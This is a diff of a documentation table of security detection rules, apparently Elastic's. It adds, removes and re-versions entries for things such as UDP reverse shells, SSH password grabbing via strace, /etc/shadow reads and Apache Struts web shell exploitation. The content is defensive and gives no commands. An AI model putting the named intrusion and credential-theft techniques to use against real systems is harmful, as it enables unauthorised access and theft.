+|<<potential-privileged-escalation-via-samaccountname-spoofing, Potential Privileged Escalation via SamAccountName Spoofing>> |Identifies a suspicious computer account name rename event, which may indicate an attempt to exploit CVE-2021-42278 to elevate privileges from a standard domain user to a user with domain admin privileges. CVE-2021-42278 is a security vulnerability that allows potential attackers to impersonate a domain controller via samAccountName attribute spoofing. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Use Case: Vulnerability], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |214
 
 |<<potential-process-injection-from-malicious-document, Potential Process Injection from Malicious Document>> |Identifies child processes of frequently targeted Microsoft Office applications (Word, PowerPoint, Excel) with unusual process arguments and path. This behavior is often observed during exploitation of Office applications or from documents with malicious macros. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Privilege Escalation], [Tactic: Initial Access], [Rule Type: BBR], [Data Source: Elastic Defend] |None |4
 
@@ -1936,7 +1958,7 @@ and their rule type is `machine_learning`.
 
 |<<potential-reverse-shell-via-udp, Potential Reverse Shell via UDP>> |This detection rule identifies suspicious network traffic patterns associated with UDP reverse shell activity. This activity consists of a sample of an execve, socket and connect syscall executed by the same process, where the auditd.data.a0-1 indicate a UDP connection, ending with an egress connection event. An attacker may establish a Linux UDP reverse shell to bypass traditional firewall restrictions and gain remote access to a target system covertly. |[Data Source: Auditd Manager], [Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide] |None |10
 
-|<<potential-ssh-password-grabbing-via-strace, Potential SSH Password Grabbing via strace>> |Detects potential SSH password grabbing via the use of strace on sshd processes. Attackers may use strace to capture sensitive information, such as passwords, by tracing system calls made by the sshd process. This rule looks for a sequence of events where an sshd process ends followed closely by the start of a strace process. This may be indicative of an attacker attempting to capture SSH credentials. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Credential Access], [Data Source: Elastic Defend] |None |1
+|<<potential-ssh-password-grabbing-via-strace, Potential SSH Password Grabbing via strace>> |Detects potential SSH password grabbing via the use of strace on sshd processes. Attackers may use strace to capture sensitive information, such as passwords, by tracing system calls made by the sshd process. This rule looks for a sequence of events where an sshd process ends followed closely by the start of a strace process. This may be indicative of an attacker attempting to capture SSH credentials. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Credential Access], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |2
 
 |<<potential-ssh-it-ssh-worm-downloaded, Potential SSH-IT SSH Worm Downloaded>> |Identifies processes that are capable of downloading files with command line arguments containing URLs to SSH-IT's autonomous SSH worm. This worm intercepts outgoing SSH connections every time a user uses ssh. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |107
 
@@ -1944,7 +1966,7 @@ and their rule type is `machine_learning`.
 
 |<<potential-secure-file-deletion-via-sdelete-utility, Potential Secure File Deletion via SDelete Utility>> |Detects file name patterns generated by the use of Sysinternals SDelete utility to securely delete a file via multiple file overwrite and rename operations. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Impact], [Data Source: Elastic Endgame], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Data Source: Crowdstrike] |None |312
 
-|<<potential-shadow-credentials-added-to-ad-object, Potential Shadow Credentials added to AD Object>> |Identify the modification of the msDS-KeyCredentialLink attribute in an Active Directory Computer or User Object. Attackers can abuse control over the object and create a key pair, append to raw public key in the attribute, and obtain persistent and stealthy access to the target user or computer object. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Active Directory], [Resources: Investigation Guide], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs] |None |216
+|<<potential-shadow-credentials-added-to-ad-object, Potential Shadow Credentials added to AD Object>> |Identify the modification of the msDS-KeyCredentialLink attribute in an Active Directory Computer or User Object. Attackers can abuse control over the object and create a key pair, append to raw public key in the attribute, and obtain persistent and stealthy access to the target user or computer object. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Active Directory], [Resources: Investigation Guide], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs] |None |217
 
 |<<potential-shadow-file-read-via-command-line-utilities, Potential Shadow File Read via Command Line Utilities>> |Identifies access to the /etc/shadow file via the commandline using standard system utilities. After elevating privileges to root, threat actors may attempt to read or dump this file in order to gain valid credentials. They may utilize these to move laterally undetected and access additional resources. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Credential Access], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |212
 
@@ -1952,6 +1974,8 @@ and their rule type is `machine_learning`.
 
 |<<potential-shell-via-wildcard-injection-detected, Potential Shell via Wildcard Injection Detected>> |This rule monitors for the execution of a set of linux binaries, that are potentially vulnerable to wildcard injection, with suspicious command line flags followed by a shell spawn event. Linux wildcard injection is a type of security vulnerability where attackers manipulate commands or input containing wildcards (e.g., *, ?, []) to execute unintended operations or access sensitive data by tricking the system into interpreting the wildcard characters in unexpected ways. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |111
 
+|<<potential-spike-in-web-server-error-logs, Potential Spike in Web Server Error Logs>> |This rule detects unusual spikes in error logs from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited. |[Domain: Web], [Use Case: Threat Detection], [Tactic: Reconnaissance], [Data Source: Nginx], [Data Source: Apache], [Data Source: Apache Tomcat], [Data Source: IIS], [Resources: Investigation Guide] |None |2
+
 |<<potential-subnet-scanning-activity-from-compromised-host, Potential Subnet Scanning Activity from Compromised Host>> |This rule detects potential subnet scanning activity from a compromised host. Subnet scanning is a common reconnaissance technique used by attackers to identify live hosts within a network range. A compromised host may exhibit subnet scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable hosts, or prepare for further exploitation. This rule identifies potential subnet scanning activity by monitoring network connection attempts from a single host to a large number of hosts within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |8
 
 |<<potential-successful-linux-ftp-brute-force-attack-detected, Potential Successful Linux FTP Brute Force Attack Detected>> |An FTP (file transfer protocol) brute force attack is a method where an attacker systematically tries different combinations of usernames and passwords to gain unauthorized access to an FTP server, and if successful, the impact can include unauthorized data access, manipulation, or theft, compromising the security and integrity of the server and potentially exposing sensitive information. This rule identifies multiple consecutive authentication failures targeting a specific user account from the same source address and within a short time interval, followed by a successful authentication. |[Data Source: Auditd Manager], [Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |10
@@ -1988,6 +2012,8 @@ and their rule type is `machine_learning`.
 
 |<<potential-web-shell-aspx-file-creation, Potential Web Shell ASPX File Creation>> |Identifies the creation of ASPX files in specific directories that are commonly targeted by attackers to deploy web shells. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Microsoft Defender for Endpoint], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |1
 
+|<<potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation, Potential Webshell Deployed via Apache Struts CVE-2023-50164 Exploitation>> |Identifies successful exploitation of CVE-2023-50164, a critical path traversal vulnerability in Apache Struts 2 file upload functionality. This high-fidelity rule detects a specific attack sequence where a malicious multipart/form-data POST request with WebKitFormBoundary is made to a Struts .action upload endpoint, immediately followed by the creation of a JSP web shell file by a Java process in Tomcat's webapps directories. This correlated activity indicates active exploitation resulting in remote code execution capability through unauthorized file upload and web shell deployment. |[Domain: Endpoint], [Domain: Web], [Domain: Network], [OS: Linux], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Persistence], [Data Source: Elastic Defend], [Data Source: Network Traffic], [Resources: Investigation Guide] |None |1
+
 |<<potential-widespread-malware-infection-across-multiple-hosts, Potential Widespread Malware Infection Across Multiple Hosts>> |This rule uses alert data to determine when a malware signature is triggered in multiple hosts. Analysts can use this to prioritize triage and response, as this can potentially indicate a widespread malware infection. |[Domain: Endpoint], [Data Source: Elastic Defend], [Use Case: Threat Detection], [Tactic: Execution], [Rule Type: Higher-Order Rule], [Resources: Investigation Guide] |None |6
 
 |<<potential-windows-error-manager-masquerading, Potential Windows Error Manager Masquerading>> |Identifies suspicious instances of the Windows Error Reporting process (WerFault.exe or Wermgr.exe) with matching command-line and process executable values performing outgoing network connections. This may be indicative of a masquerading attempt to evade suspicious child process behavior detections. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Sysmon] |None |214
@@ -2074,7 +2100,7 @@ and their rule type is `machine_learning`.
 
 |<<privilege-escalation-via-windir-environment-variable, Privilege Escalation via Windir Environment Variable>> |Identifies a privilege escalation attempt via a rogue Windows directory (Windir) environment variable. This is a known primitive that is often combined with other vulnerabilities to elevate privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |313
 
-|<<privileged-account-brute-force, Privileged Account Brute Force>> |Identifies multiple consecutive logon failures targeting an Admin account from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide], [Data Source: Windows Security Event Logs] |None |114
+|<<privileged-account-brute-force, Privileged Account Brute Force>> |Identifies multiple consecutive logon failures targeting an Admin account from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide], [Data Source: Windows Security Event Logs] |None |115
 
 |<<privileged-docker-container-creation, Privileged Docker Container Creation>> |This rule leverages the new_terms rule type to identify the creation of a potentially unsafe docker container from an unusual parent process. Attackers can use the `--privileged` flag to create containers with escalated privileges, which can lead to trivial privilege escalation, docker escaping and persistence. access. |[Domain: Endpoint], [Domain: Container], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |5
 
@@ -2092,7 +2118,7 @@ and their rule type is `machine_learning`.
 
 |<<process-created-with-an-elevated-token, Process Created with an Elevated Token>> |Identifies the creation of a process running as SYSTEM and impersonating a Windows core binary privileges. Adversaries may create a new process with a different token to escalate privileges and bypass access controls. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |9
 
-|<<process-creation-via-secondary-logon, Process Creation via Secondary Logon>> |Identifies process creation with alternate credentials. Adversaries may create a new process with a different token to escalate privileges and bypass access controls. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |114
+|<<process-creation-via-secondary-logon, Process Creation via Secondary Logon>> |Identifies process creation with alternate credentials. Adversaries may create a new process with a different token to escalate privileges and bypass access controls. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |115
 
 |<<process-discovery-using-built-in-tools, Process Discovery Using Built-in Tools>> |This rule identifies the execution of commands that can be used to enumerate running processes. Adversaries may enumerate processes to identify installed applications and security solutions. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Windows Security Event Logs] |None |110
 
@@ -2124,6 +2150,8 @@ and their rule type is `machine_learning`.
 
 |<<proxy-execution-via-windows-openssh, Proxy Execution via Windows OpenSSH>> |Identifies attempts to execute commands via proxy using the Windows OpenSSH client. This may indicate an attempt to bypass application control via trusted windows binaries. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |1
 
+|<<proxy-shell-execution-via-busybox, Proxy Shell Execution via Busybox>> |Detects the execution of a shell through Busybox. Attackers may use this technique to execute shells while attempting to evade detection. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |1
+
 |<<proxychains-activity, ProxyChains Activity>> |This rule monitors for the execution of the ProxyChains utility. ProxyChains is a command-line tool that enables the routing of network connections through intermediary proxies, enhancing anonymity and enabling access to restricted resources. Attackers can exploit the ProxyChains utility to hide their true source IP address, evade detection, and perform malicious activities through a chain of proxy servers, potentially masking their identity and intentions. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |108
 
 |<<psexec-network-connection, PsExec Network Connection>> |Identifies use of the SysInternals tool PsExec.exe making a network connection. This could be an indication of lateral movement. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Lateral Movement], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: SentinelOne] |None |212
@@ -2156,8 +2184,6 @@ and their rule type is `machine_learning`.
 
 |<<ransomware-prevented-elastic-endgame, Ransomware - Prevented - Elastic Endgame>> |Elastic Endgame prevented ransomware. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. |[Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |105
 
-|<<rapid-secret-retrieval-attempts-from-aws-secretsmanager, Rapid Secret Retrieval Attempts from AWS SecretsManager>> |This rule attempts to identify rapid secret retrieval attempts from AWS SecretsManager. Adversaries may attempt to retrieve secrets from the Secrets Manager programmatically using the `GetSecretValue` or `BatchGetSecretValue` API actions. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Secrets Manager], [Tactic: Credential Access], [Resources: Investigation Guide] |None |5
-
 |<<rapid7-threat-command-cves-correlation, Rapid7 Threat Command CVEs Correlation>> |This rule is triggered when CVEs collected from the Rapid7 Threat Command Integration have a match against vulnerabilities that were found in the customer environment. |[OS: Windows], [Data Source: Elastic Endgame], [Data Source: Windows], [Data Source: Network], [Data Source: Rapid7 Threat Command], [Rule Type: Threat Match], [Resources: Investigation Guide], [Use Case: Vulnerability], [Use Case: Asset Visibility], [Use Case: Continuous Monitoring] |None |107
 
 |<<rare-aws-error-code, Rare AWS Error Code>> |A machine learning job detected an unusual error in a CloudTrail message. These can be byproducts of attempted or successful persistence, privilege escalation, defense evasion, discovery, lateral movement, or collection. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Rule Type: ML], [Rule Type: Machine Learning], [Resources: Investigation Guide] |None |211
@@ -2172,7 +2198,7 @@ and their rule type is `machine_learning`.
 
 |<<registry-persistence-via-appinit-dll, Registry Persistence via AppInit DLL>> |AppInit DLLs are dynamic-link libraries (DLLs) that are loaded into every process that creates a user interface (loads user32.dll) on Microsoft Windows operating systems. The AppInit DLL mechanism is used to load custom code into user-mode processes, allowing for the customization of the user interface and the behavior of Windows-based applications. Attackers who add those DLLs to the registry locations can execute code with elevated privileges, similar to process injection, and provide a solid and constant persistence on the machine. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Defense Evasion], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Data Source: Crowdstrike] |None |315
 
-|<<remote-computer-account-dnshostname-update, Remote Computer Account DnsHostName Update>> |Identifies the remote update to a computer account's DnsHostName attribute. If the new value set is a valid domain controller DNS hostname and the subject computer name is not a domain controller, then it's highly likely a preparation step to exploit CVE-2022-26923 in an attempt to elevate privileges from a standard domain user to domain admin privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Use Case: Vulnerability], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |212
+|<<remote-computer-account-dnshostname-update, Remote Computer Account DnsHostName Update>> |Identifies the remote update to a computer account's DnsHostName attribute. If the new value set is a valid domain controller DNS hostname and the subject computer name is not a domain controller, then it's highly likely a preparation step to exploit CVE-2022-26923 in an attempt to elevate privileges from a standard domain user to domain admin privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Use Case: Vulnerability], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |213
 
 |<<remote-desktop-enabled-in-windows-firewall-by-netsh, Remote Desktop Enabled in Windows Firewall by Netsh>> |Identifies use of the network shell utility (netsh.exe) to enable inbound Remote Desktop Protocol (RDP) connections in the Windows Firewall. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Crowdstrike] |None |315
 
@@ -2184,7 +2210,7 @@ and their rule type is `machine_learning`.
 
 |<<remote-file-copy-via-teamviewer, Remote File Copy via TeamViewer>> |Identifies an executable or script file remotely downloaded via a TeamViewer transfer session. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Command and Control], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: SentinelOne] |None |216
 
-|<<remote-file-creation-in-world-writeable-directory, Remote File Creation in World Writeable Directory>> |This rule detects the creation of a file in a world-writeable directory through a service that is commonly used for file transfer. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |3
+|<<remote-file-creation-in-world-writeable-directory, Remote File Creation in World Writeable Directory>> |This rule detects the creation of a file in a world-writeable directory through a service that is commonly used for file transfer. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |4
 
 |<<remote-file-download-via-desktopimgdownldr-utility, Remote File Download via Desktopimgdownldr Utility>> |Identifies the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Command and Control], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Data Source: Sysmon], [Data Source: Crowdstrike] |None |318
 
@@ -2198,11 +2224,11 @@ and their rule type is `machine_learning`.
 
 |<<remote-scheduled-task-creation, Remote Scheduled Task Creation>> |Identifies remote scheduled task creations on a target host. This could be indicative of adversary lateral movement. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: SentinelOne] |None |213
 
-|<<remote-scheduled-task-creation-via-rpc, Remote Scheduled Task Creation via RPC>> |Identifies scheduled task creation from a remote source. This could be indicative of adversary lateral movement. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |113
+|<<remote-scheduled-task-creation-via-rpc, Remote Scheduled Task Creation via RPC>> |Identifies scheduled task creation from a remote source. This could be indicative of adversary lateral movement. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |114
 
 |<<remote-system-discovery-commands, Remote System Discovery Commands>> |Discovery of remote system information using built-in commands, which may be used to move laterally. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Rule Type: BBR] |None |216
 
-|<<remote-windows-service-installed, Remote Windows Service Installed>> |Identifies a network logon followed by Windows service creation with same LogonId. This could be indicative of lateral movement, but will be noisy if commonly done by administrators." |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Tactic: Persistence], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |111
+|<<remote-windows-service-installed, Remote Windows Service Installed>> |Identifies a network logon followed by Windows service creation with same LogonId. This could be indicative of lateral movement, but will be noisy if commonly done by administrators." |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Tactic: Persistence], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |112
 
 |<<remote-xsl-script-execution-via-com, Remote XSL Script Execution via COM>> |Identifies the execution of a hosted XSL script using the Microsoft.XMLDOM COM interface via Microsoft Office processes. This behavior may indicate adversarial activity to execute malicious JScript or VBScript on the system. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |6
 
@@ -2230,6 +2256,8 @@ and their rule type is `machine_learning`.
 
 |<<smtp-on-port-26-tcp, SMTP on Port 26/TCP>> |This rule detects events that may indicate use of SMTP on TCP port 26. This port is commonly used by several popular mail transfer agents to deconflict with the default SMTP port 25. This port has also been used by a malware family called BadPatch for command and control of Windows systems. |[Tactic: Command and Control], [Domain: Endpoint], [Use Case: Threat Detection], [Data Source: PAN-OS], [Resources: Investigation Guide] |None |108
 
+|<<socks-traffic-from-an-unusual-process, SOCKS Traffic from an Unusual Process>> |This detection correlates FortiGate's application control SOCKS events with Elastic Defend network event to identify the source process performing SOCKS traffic. Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. |[Domain: Endpoint], [OS: Linux], [OS: Windows], [OS: macOS], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Data Source: Fortinet], [Resources: Investigation Guide] |None |1
+
 |<<ssh-authorized-keys-file-deletion, SSH Authorized Keys File Deletion>> |This rule detects the deletion of the authorized_keys or authorized_keys2 files on Linux systems. These files are used to store public keys for SSH authentication. Unauthorized deletion of these files can be an indicator of an attacker removing access to the system, and may be a precursor to further malicious activity. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |4
 
 |<<ssh-authorized-keys-file-modification, SSH Authorized Keys File Modification>> |The Secure Shell (SSH) authorized_keys file specifies which users are allowed to log into a server using public key authentication. Adversaries may modify it to maintain persistence on a victim host by adding their own public key(s). |[Domain: Endpoint], [OS: Linux], [OS: macOS], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Tactic: Persistence], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |209
@@ -2278,7 +2306,7 @@ and their rule type is `machine_learning`.
 
 |<<sensitive-keys-or-passwords-searched-for-inside-a-container, Sensitive Keys Or Passwords Searched For Inside A Container>> |This rule detects the use of system search utilities like grep and find to search for private SSH keys or passwords inside a container. Unauthorized access to these sensitive files could lead to further compromise of the container environment or facilitate a container breakout to the underlying host machine. |[Domain: Container], [OS: Linux], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |2
 
-|<<sensitive-privilege-seenabledelegationprivilege-assigned-to-a-user, Sensitive Privilege SeEnableDelegationPrivilege assigned to a User>> |Identifies the assignment of the SeEnableDelegationPrivilege sensitive "user right" to a user. The SeEnableDelegationPrivilege "user right" enables computer and user accounts to be trusted for delegation. Attackers can abuse this right to compromise Active Directory accounts and elevate their privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Persistence], [Data Source: Active Directory], [Resources: Investigation Guide], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs] |None |217
+|<<sensitive-privilege-seenabledelegationprivilege-assigned-to-a-user, Sensitive Privilege SeEnableDelegationPrivilege assigned to a User>> |Identifies the assignment of the SeEnableDelegationPrivilege sensitive "user right" to a user. The SeEnableDelegationPrivilege "user right" enables computer and user accounts to be trusted for delegation. Attackers can abuse this right to compromise Active Directory accounts and elevate their privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Persistence], [Data Source: Active Directory], [Resources: Investigation Guide], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs] |None |218
 
 |<<sensitive-registry-hive-access-via-regback, Sensitive Registry Hive Access via RegBack>> |Identifies attempts to access sensitive registry hives which contain credentials from the registry backup folder. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide], [Data Source: Elastic Defend] |None |5
 
@@ -2290,7 +2318,7 @@ and their rule type is `machine_learning`.
 
 |<<service-control-spawned-via-script-interpreter, Service Control Spawned via Script Interpreter>> |Identifies Service Control (sc.exe) spawning from script interpreter processes to create, modify, or start services. This can potentially indicate an attempt to elevate privileges or maintain persistence. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Defense Evasion], [Tactic: Execution], [Data Source: Elastic Endgame], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Crowdstrike] |None |217
 
-|<<service-creation-via-local-kerberos-authentication, Service Creation via Local Kerberos Authentication>> |Identifies a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, followed by a sevice creation from the same LogonId. This may indicate an attempt to leverage a Kerberos relay attack variant that can be used to elevate privilege locally from a domain joined user to local System privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Credential Access], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |211
+|<<service-creation-via-local-kerberos-authentication, Service Creation via Local Kerberos Authentication>> |Identifies a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, followed by a sevice creation from the same LogonId. This may indicate an attempt to leverage a Kerberos relay attack variant that can be used to elevate privilege locally from a domain joined user to local System privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Credential Access], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |212
 
 |<<service-dacl-modification-via-sc-exe, Service DACL Modification via sc.exe>> |Identifies DACL modifications to deny access to a service, making it unstoppable, or hide it from system and users. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Microsoft Defender for Endpoint], [Data Source: Crowdstrike] |None |207
 
@@ -2416,7 +2444,7 @@ and their rule type is `machine_learning`.
 
 |<<suspicious-apt-package-manager-network-connection, Suspicious APT Package Manager Network Connection>> |Detects suspicious network events executed by the APT package manager, potentially indicating persistence through an APT backdoor. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Command and Control], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |8
 
